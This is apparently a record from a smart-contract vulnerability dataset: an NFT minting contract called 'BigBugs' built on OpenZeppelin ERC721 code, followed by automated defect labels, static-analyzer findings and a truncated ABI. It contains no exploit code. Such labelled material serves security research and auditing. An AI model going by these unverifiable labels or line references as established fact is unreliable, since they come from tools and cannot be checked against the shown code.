* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: contracts/BigBugs.sol
pragma solidity ^0.8.0;
contract BigBugs is ERC721Enumerable, Ownable {
using Strings for uint256;
using ECDSA for bytes32;
string public baseURI;
string public extension = ".json";
uint256 public cost = 0.05 ether;
uint256 public maxSupply = 10000;
uint public maxMintAmount = 20;
bool public paused = false;
bool public preSale = false;
address public signer;
address public deployer;
uint public constant PRESALE_MAX_PER_WALLET = 3;
mapping(address => uint) private presaleMinted;
// mapping(address => bool) public whitelist;
constructor(string memory _name, string memory _symbol, string memory _initBaseURI) ERC721 (_name, _symbol){
setBaseURI(_initBaseURI);
deployer = msg.sender;
}
function _baseURI() internal view virtual override returns (string memory){
return baseURI;
}
function mint(uint _mintAmount) public payable {
require(!paused, "Minting currently on hold");
require(!preSale, "Minting is in pre-sale mode");
mintX(_mintAmount);
}
function presaleMint(uint _mintAmount, bytes memory signature) public payable {
require(preSale, "Pre-sale is not currently running");
address recover = recoverSignerAddress(msg.sender, signature);
require((recover == signer || recover == deployer), "Address not whitelisted for presale");
require(presaleMinted[msg.sender] + _mintAmount <= PRESALE_MAX_PER_WALLET, "Minting would exceed max per wallet for presale");
mintX(_mintAmount);
}
function mintX(uint _mintAmount) private {
uint256 supply = totalSupply();
require(_mintAmount > 0, "Amount to mint can not be 0");
require(_mintAmount <= maxMintAmount, "Maximum mint amount exceeded");
require(supply + _mintAmount <= maxSupply, "Purchase would exceed max supply of NFT");
if (msg.sender != owner()) {
if (preSale) {
presaleMinted[msg.sender] += _mintAmount;
}
require(msg.value >= cost * _mintAmount, "Amount sent less than the cost of minting NFT(s)");
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function walletOfOwner(address _owner) public view returns (uint256[] memory){
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory){
require(_exists(tokenId), "ERC721Metadata: tokenURI queried for nonexistent token");
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), extension)) : "";
}
//
function hashTransaction(address minter) private pure returns (bytes32) {
bytes32 argsHash = keccak256(abi.encodePacked(minter));
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", argsHash));
}
function recoverSignerAddress(address minter, bytes memory signature) private pure returns (address) {
bytes32 hash = hashTransaction(minter);
return hash.recover(signature);
}
function setSigner(address _signer) public onlyOwner() {
signer = _signer;
}
function setCost(uint256 _cost) public onlyOwner() {
cost = _cost;
}
function setMaxMintAmount(uint256 _maxMintAmount) public onlyOwner() {
maxMintAmount = _maxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner() {
baseURI = _newBaseURI;
}
function togglePause() public onlyOwner() {
paused = !paused;
}
function togglePreSale() public onlyOwner() {
preSale = !preSale;
}
function configure(uint256 _cost, bool _paused, bool _preSale, uint256 _maxMintAmount, address _signer) public onlyOwner() {
cost = _cost;
paused = _paused;
preSale = _preSale;
maxMintAmount = _maxMintAmount;
signer = _signer;
}
function withdraw() public payable onlyOwner() {
// require(payable(msg.sender).send(address(this).balance));
(bool success,) = address(msg.sender).call{value : address(this).balance}("");
require(success, "Unable to withdraw balance");
}
} | [{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["1542"]}, {"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["577"]}, {"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["1485"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["245", "267", "385"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["960"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["857", "1547", "375", "727", "964", "364", "349", "1344", "1257"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["1537", "1186", "1241", "1240", "1210"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [121, 122, 123, 124]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [424, 425, 426]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [80, 77, 78, 79]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [1280, 1281, 1282]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [600, 601, 602, 599]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"BigBugs.sol": [1491]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"BigBugs.sol": [1493]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BigBugs.sol": [587, 588, 589, 590, 591, 592, 593, 594, 595, 596, 597, 598, 599, 600, 601, 602, 603, 604, 605, 606, 607]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BigBugs.sol": [288, 289, 279, 280, 281, 282, 283, 284, 285, 286, 287]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BigBugs.sol": [448, 449, 450, 451, 446, 447]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BigBugs.sol": [500, 501, 502, 503, 504, 505, 506]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BigBugs.sol": [576, 577, 578, 579, 570, 571, 572, 573, 574, 575]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BigBugs.sol": [263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BigBugs.sol": [1202, 1203, 1204, 1205, 1206, 1207, 1208, 1209, 1210, 1211, 1212, 1213, 1214]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BigBugs.sol": [560, 561, 562]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BigBugs.sol": [203, 204, 205, 206, 207]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BigBugs.sol": [514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BigBugs.sol": [218, 219, 220]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BigBugs.sol": [313, 314, 315]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BigBugs.sol": [533, 534, 535]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BigBugs.sol": [1002, 1003, 1004]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BigBugs.sol": [481, 482, 483, 484, 485, 486, 487]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BigBugs.sol": [192, 193, 184, 185, 186, 187, 188, 189, 190, 191]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BigBugs.sol": [544, 545, 546, 547, 548, 549, 550, 551, 552, 543]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BigBugs.sol": [133, 134, 135, 136, 137, 138, 139, 140, 141]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BigBugs.sol": [472, 473, 471]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BigBugs.sol": [1520, 1521, 1522, 1523, 1524, 1525, 1526]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BigBugs.sol": [1513, 1514, 1515, 1516, 1517]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BigBugs.sol": [1606, 1607, 1608, 1609, 1610, 1611]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BigBugs.sol": [984, 985, 983]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BigBugs.sol": [1584, 1582, 1583]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BigBugs.sol": [371, 372, 373]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BigBugs.sol": [1576, 1574, 1575]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BigBugs.sol": [1064, 1065, 1066, 1067, 1068, 1069, 1070]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BigBugs.sol": [1362, 1363, 1364, 1365]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BigBugs.sol": [1056, 1057, 1058, 1059, 1050, 1051, 1052, 1053, 1054, 1055]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BigBugs.sol": [1578, 1579, 1580]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BigBugs.sol": [1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BigBugs.sol": [379, 380, 381, 382]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BigBugs.sol": [976, 977, 978]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BigBugs.sol": [992, 993, 994, 995, 990, 991]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BigBugs.sol": [1600, 1601, 1602, 1603, 1604, 1598, 1599]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BigBugs.sol": [1594, 1595, 1596]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BigBugs.sol": [1547, 1548, 1549, 1550, 1551, 1552, 1553, 1554]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BigBugs.sol": [1033, 1034, 1035, 1036, 1037, 1038]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BigBugs.sol": [1592, 1590, 1591]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [322]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [643]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [844]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [614]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [1479]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [227]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [395]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [874]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [670]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [296]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [5]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [700]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [1315]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [902]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"BigBugs.sol": [924]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"BigBugs.sol": [338]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"BigBugs.sol": [921]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [577]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [449]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [523]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [550]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [1609]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"BigBugs.sol": [1575]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"BigBugs.sol": [1603]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [1578]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [1547]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [1586]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [1513]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [1079]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [1598]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [1598]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [1598]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [1520]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [1598]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [1598]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [1582]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [1528]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BigBugs.sol": [1574]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"BigBugs.sol": [1277]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"BigBugs.sol": [78]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"BigBugs.sol": [1281]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"BigBugs.sol": [1275]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"BigBugs.sol": [1550]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"BigBugs.sol": [1280, 1281, 1282, 1283, 1284, 1274, 1275, 1276, 1277, 1278, 1279]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 284, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 83, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 165, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 168, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 174, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 372, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1163, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1184, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1205, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1208, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1238, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 1485, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 5, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 227, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 296, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 322, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 395, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 614, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 643, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 670, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 700, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 844, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 874, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 902, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1315, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1479, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 233, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 338, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 921, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 924, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 927, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 930, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 933, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 936, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1326, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1329, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1332, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1335, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1500, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 25, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 27, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 29, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 31, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 1277, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 56, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 114, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 418, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 56, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 118, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 154, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 313, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 66, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 77, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 121, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1280, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 345, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 446, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 941, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1504, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 446, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 446, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 447, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 447, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 447, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 447, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 449, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 449, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 449, "severity": 1}] | [{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"string","name":"_initBaseURI","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":